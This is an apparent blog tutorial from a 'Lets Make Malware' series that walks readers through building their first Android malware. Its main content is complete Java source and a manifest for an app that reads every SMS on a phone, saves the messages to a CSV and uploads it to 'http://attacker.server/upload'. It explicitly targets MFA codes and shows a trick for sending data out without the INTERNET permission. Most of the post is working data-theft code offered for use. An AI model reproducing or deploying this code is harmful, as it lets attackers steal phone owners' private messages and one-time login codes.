Reprogrammed

Lets Make Mobile Malware - An Introduction

Lets Make Malware

Introduction

It has been a long time coming. This week, we discuss an exciting new topic in our departure from Windows Malware.

We are going to discuss Android Malware. So, let’s get started!

How It Differs

Before we dive into the fun stuff, we must first discuss how Android Malware and Mobile Malware in general differs from malware that runs on and targets desktop Operating Systems.

When we target Windows, for example, we are usually trying to get a shell or a C2 connection so we can run commands on the target device. This is not the case on mobile devices.

There is no shell or terminal for us to execute commands. Instead, we target specific vulnerabilities in other applications, or we aim to get data such as text messages, images, etc.

We can, of course, target vulnerabilities in the Operating System itself as well, however, this is generally difficult to do, and we want to keep things beginner-friendly here.

Interaction

The next difference is in how applications interact with each other.

Mobile applications are extremely siloed compared to desktop applications. While on Windows, application A is usually able to directly manipulate the memory of application B, this is not the case on Android.

Application A, on Android, is not generally able to even access Application B’s data directory and files, let alone access and manipulate its memory.

There are, of course, ways for applications to interact with each other as needed, but we will not be discussing them in this post.

Permissions

Finally, the last major difference we will discuss is the permission model in Android.

Unlike Windows, applications must declare what they want to access up-front. That means, things like accessing the camera, accessing the internet, or reading text messages must all be declared in the manifest.

Assuming we download our applications from the Google Play Store as usual and do not sideload them, we can review what each application wants access to prior to installing.

To take things even further, some permissions are considered dangerous (rightfully so) and must additionally be requested (and granted) at run-time.

So, as we can see, security on Android (let alone iOS) is taken very seriously.

Mobile Malware

With that out of the way, let’s create our first mobile malware.

As we did with our Windows Malware Development series, we will start simply. On Windows, that meant creating a simple shellcode loader. On Mobile, we will start by stealing text messages. If we are lucky, these text messages will contain good information like MFA codes.

First things first, declaring the permissions our malicious application needs in our manifest file.

<uses-feature
        android:name="android.hardware.telephony"
        android:required="true" />

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

We want permission to read SMS (otherwise, we can’t steal those text messages). With that, we also need to declare we will be using telephony hardware. These two go hand in hand.

For this scenario, we will assume we are going to exfiltrate the text messages by sending them over the network to a server we control. So, we need to declare we want permission to access the Internet.

We should note we can bypass having to declare this permission by base64 encoding our text messages and sending them to our server through GET requests using an Implicit Intent.

This would look something like so on the client:

String url = "http://www.example.com?msg=QmFzZTY0IGVuY29kZWQgdGV4dCBtZXNzYWdl";
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
startActivity(i);

Notice that nothing in the code says what application should handle this. This is an implicit intent. The OS will attempt to figure out which application to allow to take over.

The caveat to doing this is that a new window will open. URLs also have a length limit.

If there happens to be a lot of text messages on the device, we may need to decide how many of those messages we want or opt for another method of exfiltration.

Lastly, we also require the ability to read and write to external storage. Specifically, we are going to create a file in the Downloads directory.

As we mentioned before, reading SMS is a dangerous permission so we need to request this permission at runtime. This will be the first thing we do.

String[] permission = {Manifest.permission.READ_SMS};
if (ContextCompat.checkSelfPermission(
                this, Manifest.permission.READ_SMS) ==
                PackageManager.PERMISSION_GRANTED) {
            try {
                readMessages();
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
        } else {
            ActivityCompat.requestPermissions(this, permission, 1);

Requesting READ_SMS Permission

If you look closely, you can see a reference to a readMessages() method. We will create and define this method next.

    protected void readMessages() throws IOException {
        String addressCol = Telephony.TextBasedSmsColumns.ADDRESS;
        String msgCol = Telephony.TextBasedSmsColumns.BODY;
        String typeCol = Telephony.TextBasedSmsColumns.TYPE;

        String[] projection = {addressCol, msgCol, typeCol};

        Cursor cursor = getContentResolver().query(Telephony.Sms.CONTENT_URI, projection, null, null, null);

        FileWriter write = new FileWriter(storage_path);
        write.append("Address, Body, Type\n");

        int addressidx = 0;
        if (cursor != null) {
            addressidx = cursor.getColumnIndex(addressCol);
        }
        int msgidx = 0;
        if (cursor != null) {
            msgidx = cursor.getColumnIndex(msgCol);
        }
        int typeidx = 0;
        if (cursor != null) {
            typeidx = cursor.getColumnIndex(typeCol);
        }

        if (cursor != null) {
            while (cursor.moveToNext()) {
                String address = cursor.getString(addressidx);
                String msg = cursor.getString(msgidx);
                String type = cursor.getString(typeidx);
                write.append(address + ", " + msg + ", " + type + "\n");
            }
        }
        write.flush();
        write.close();
        if (cursor != null) {
            cursor.close();
        }
        uploadFile("http://attacker.server/upload", storage_path);
    }

There are a few different things to explain here.

First, what is a Cursor?

As the Android API defines it:

This interface provides random read-write access to the result set returned by a database query.

So, when we want to do anything with text-messages in Android, we are dealing with a database. A cursor, simply put, is our way of accessing the results from a query.

The first few lines of code above define which columns we want to access. Those are the address (number), the body (message), and the type (e.g sent message, draft message, queued, inbox, etc) of message.

Next, we have our cursor to perform the query and return the results.

Then, we go through the results in a while loop.

While all of this is happening, we also create a csv file in the Downloads directory and write each message to it.

This is the file we are going to exfiltrate later through our uploadFile() method.

SMS CSV File

Our uploadFile() method looks like this:

protected void uploadFile(String serverUrl, String filePath) {
        try {
            // Create a URL object with the server endpoint
            URL url = new URL(serverUrl);

            // Open a connection to the server
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();

            // Set the request method to POST
            connection.setRequestMethod("POST");

            // Enable input/output streams for sending/receiving data
            connection.setDoInput(true);
            connection.setDoOutput(true);

            // Create a boundary string for multipart/form-data
            String boundary = "*****" + System.currentTimeMillis() + "*****";

            // Set request headers
            connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

            // Create a data output stream to write data to the server
            DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());

            // Read the file and write it to the server
            File file = new File(filePath);
            FileInputStream fileInputStream = new FileInputStream(file);
            byte[] buffer = new byte[(int) file.length()];
            int bytesRead;
            while ((bytesRead = fileInputStream.read(buffer)) != -1) {
                outputStream.write(buffer, 0, bytesRead);
            }
            fileInputStream.close();

            // Close the output stream and get the server response
            outputStream.flush();
            outputStream.close();
            Log.d("MyFirstMalware", "[!] Outbound Connection Made!");
            int responseCode = connection.getResponseCode();
            if (responseCode == HttpURLConnection.HTTP_OK) {
                Log.d("MyFirstMalware", "[!] HTTP SUCCESS!");
                // Handle the successful upload
                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                String responseLine;
                StringBuilder response = new StringBuilder();
                while ((responseLine = reader.readLine()) != null) {
                    response.append(responseLine);
                }
                reader.close();

                // Print the server response
               Log.d("MyFirstMalware", "Server Response: " + response);
            } else {
                // Handle the error
                Log.d("MyFirstMalware", "File upload failed with response code: " + responseCode);
            }

            // Close the connection
            connection.disconnect();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

We will not be going through this code as we did for the previous method.

All we are doing here is uploading our csv file containing all the text messages on the device through a POST request to an attacker-controlled server.

As we mentioned earlier, we can do any number of things to exfiltrate the data.

Our full code for our Main Activity will look like this:

package com.example.myfirstmalware;

import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.os.StrictMode;
import android.provider.Telephony;
import android.util.Log;

import android.Manifest;

import java.io.File;
import java.io.FileWriter;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URL;


public class MainActivity extends AppCompatActivity {
    String smsFile = "SMS.csv";
    //String storage_path = getApplicationInfo().dataDir + File.separator + smsFile;
    String storage_path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString() + File.separator + smsFile;

    String[] permission = {Manifest.permission.READ_SMS};
    protected void uploadFile(String serverUrl, String filePath) {
        try {
            // Create a URL object with the server endpoint
            URL url = new URL(serverUrl);

            // Open a connection to the server
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();

            // Set the request method to POST
            connection.setRequestMethod("POST");

            // Enable input/output streams for sending/receiving data
            connection.setDoInput(true);
            connection.setDoOutput(true);

            // Create a boundary string for multipart/form-data
            String boundary = "*****" + System.currentTimeMillis() + "*****";

            // Set request headers
            connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

            // Create a data output stream to write data to the server
            DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());

            // Read the file and write it to the server
            File file = new File(filePath);
            FileInputStream fileInputStream = new FileInputStream(file);
            byte[] buffer = new byte[(int) file.length()];
            int bytesRead;
            while ((bytesRead = fileInputStream.read(buffer)) != -1) {
                outputStream.write(buffer, 0, bytesRead);
            }
            fileInputStream.close();

            // Close the output stream and get the server response
            outputStream.flush();
            outputStream.close();
            Log.d("MyFirstMalware", "[!] Outbound Connection Made!");
            int responseCode = connection.getResponseCode();
            if (responseCode == HttpURLConnection.HTTP_OK) {
                Log.d("MyFirstMalware", "[!] HTTP SUCCESS!");
                // Handle the successful upload
                BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
                String responseLine;
                StringBuilder response = new StringBuilder();
                while ((responseLine = reader.readLine()) != null) {
                    response.append(responseLine);
                }
                reader.close();

                // Print the server response
               Log.d("MyFirstMalware", "Server Response: " + response);
            } else {
                // Handle the error
                Log.d("MyFirstMalware", "File upload failed with response code: " + responseCode);
            }

            // Close the connection
            connection.disconnect();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    protected void readMessages() throws IOException {
        String addressCol = Telephony.TextBasedSmsColumns.ADDRESS;
        String msgCol = Telephony.TextBasedSmsColumns.BODY;
        String typeCol = Telephony.TextBasedSmsColumns.TYPE;

        String[] projection = {addressCol, msgCol, typeCol};

        Cursor cursor = getContentResolver().query(Telephony.Sms.CONTENT_URI, projection, null, null, null);

        FileWriter write = new FileWriter(storage_path);
        write.append("Address, Body, Type\n");

        int addressidx = 0;
        if (cursor != null) {
            addressidx = cursor.getColumnIndex(addressCol);
        }
        int msgidx = 0;
        if (cursor != null) {
            msgidx = cursor.getColumnIndex(msgCol);
        }
        int typeidx = 0;
        if (cursor != null) {
            typeidx = cursor.getColumnIndex(typeCol);
        }

        if (cursor != null) {
            while (cursor.moveToNext()) {
                String address = cursor.getString(addressidx);
                String msg = cursor.getString(msgidx);
                String type = cursor.getString(typeidx);

                Log.d("MyFirstMalware", "[!] Stealing Text Messages: " + address + " " + msg + " " + type);
                write.append(address + ", " + msg + ", " + type + "\n");
            }
        }
        write.flush();
        write.close();
        if (cursor != null) {
            cursor.close();
        }

        Log.d("MyFirstMalware", "[!] Sending CSV to Server...");
        uploadFile("http://attacker.server/upload", storage_path);
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
        StrictMode.setThreadPolicy(policy);

        setContentView(R.layout.activity_main2);
        if (ContextCompat.checkSelfPermission(
                this, Manifest.permission.READ_SMS) ==
                PackageManager.PERMISSION_GRANTED) {
            // You can use the API that requires the permission.
            try {
                readMessages();
                Log.d("MyFirstMalware","[!] WROTE SMS TO CSV FILE");
            } catch (IOException e) {
                //throw new RuntimeException(e);
                Log.d("MyFirstMalware", e.toString());
            }
        } else {
            ActivityCompat.requestPermissions(this, permission, 1);
        }
    }
}

And with that, we have created our first Android malware. There are numerous ways we can make this much more stealthy and not so blatantly malicious, but we will save that for next time!

Resources

Lindevs - Read SMS Messages in Android

GeekforGeeks - How to Create and Start a New Project in Android Studio

Android Developer - FileReader

DigitalOcean - Example Java HTTP Request Get Post

DevTut - HttpURLConnection

Baeldung - Making a JSON POST Request with HttpURLConnection

Android Developer - Telephony.TextBasedSmsColumns

Android Developer - Cursor